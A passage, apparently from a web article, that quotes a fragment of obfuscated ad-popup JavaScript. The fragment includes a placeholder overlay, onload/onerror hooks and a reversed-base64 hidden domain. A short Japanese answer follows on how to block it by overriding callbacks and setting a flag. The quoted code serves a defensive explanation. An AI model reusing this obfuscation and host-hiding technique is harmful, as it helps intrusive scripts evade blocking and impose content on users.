_generatePlaceholder = (function() { let node = document.createElement("div"); node.style.zIndex = 999999; node.style.backgroundImage = "url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)"; // return function to control placeholders return function(_style) { let _clone = node.cloneNode(false); // apply style to cloned node for (let _prop in _style) if (_style.hasOwnProperty(_prop)) _clone.style[_prop] = _style[_prop]; document.body.appendChild(_clone); return _clone; }; })(); window[onErrorName] = _onAdScriptLoadError; window[onLoadName] = function() { if (window.zfgloadedpopup !== true) node(); }; } catch (ignore) {} })({ j5h: "", U5h: 1397381, n5h: 3, g5h: 3, R2h: 45, // reversed base64 "pejqoq4cafo3bg9yqqqtk5e6s6.com" t5h: ["t92YuYzc2UWNrRXcxFXe5cmYz8mZhNGNx9WcqVGc"], F5h: "" }, "_hmiadab", "_ihlnws");
      
      







ブロックする方法は?



たとえば、同様のゴミのあるサイトでスクリプトのonload / onerrorを禁止し、空のセッターでオーバーライドするには、zfgloadedpopup === trueを追加し、必要に応じて、スタイルの 'content'プロパティのゲッターを解除します。



All Articles